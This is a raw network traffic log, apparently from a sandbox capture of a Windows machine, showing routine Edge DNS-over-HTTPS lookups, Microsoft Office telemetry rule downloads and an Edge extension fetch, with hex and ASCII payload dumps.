2024-11-22 22:06:37 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49817	172.64.41.3	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 22:06:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 22:06:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 22:06:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6c3a2c09bc78e8-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:06:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 af 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49819	172.64.41.3	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 22:06:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 22:06:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 22:06:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6c3a2d5f2e4211-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:06:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 ac d9 a5 83 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:32 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: feb62e3a-f01e-0085-1d2f-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220632Z-178bfbc474btvfdfhC1NYCa2en00000003rg000000002hu6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49820	172.64.41.3	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-22 22:06:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-22 22:06:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Fri, 22 Nov 2024 22:06:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e6c3a2e7eeb7c81-EWR alt-svc: h3=":443"; ma=86400
2024-11-22 22:06:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fa 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomA)

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:32 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 798eb064-701e-0021-422e-3c3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220632Z-178bfbc474b7cbwqhC1NYC8z4n00000003c000000000rtbp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:32 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:32 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220632Z-174c587ffdfb5q56hC1TEB04kg00000001vg00000000rada x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:32 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220632Z-174c587ffdfcj798hC1TEB9bq4000000026g00000000bubc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:32 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:33 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: a72cf994-301e-0099-6e45-3c6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220633Z-15b8b599d88l2dpthC1TEBmzr0000000020g000000008s8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:33 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49831	23.198.214.144	443	7316	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:34 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732917989&P2=404&P3=2&P4=BR6YDcZt7wuufaBXWe16Tc9qjhXHYALlMSmqDRTc2t0%2bSg9goNwlYhas%2bPjkt%2bx3HDZ5uzuobWseDszADA4A8g%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: QndDLlpHSx+2ddavRbC+GI Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 22:06:34 UTC	1252	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: c90bd37a-e06c-446f-8c7a-9be98d16ad78 MS-RequestId: d72db4a7-2932-4a08-abeb-6bff70400449 MS-CV: kPogr9o5p6qlPGnsRUJwoK.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86357 Date: Fri, 22 Nov 2024 22:06:34 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.198.215.206,b=760522226,c=g,n=US_NJ_PISCATAWAY,o=20940],[c=c,n=US_NJ_EDISON,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.ced7c617.1732313194.2d54a5f2 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-22 22:06:34 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:34 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:34 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 3eb19cd4-801e-00ac-194b-3cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220634Z-15b8b599d88tmlzshC1TEB4xpn00000001yg000000008w4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-22 22:06:34 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-22 22:06:34 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-22 22:06:35 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 22:06:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: a8d62205-901e-0083-0c0e-3bbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T220635Z-174c587ffdf89smkhC1TEB697s000000024g000000008myc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
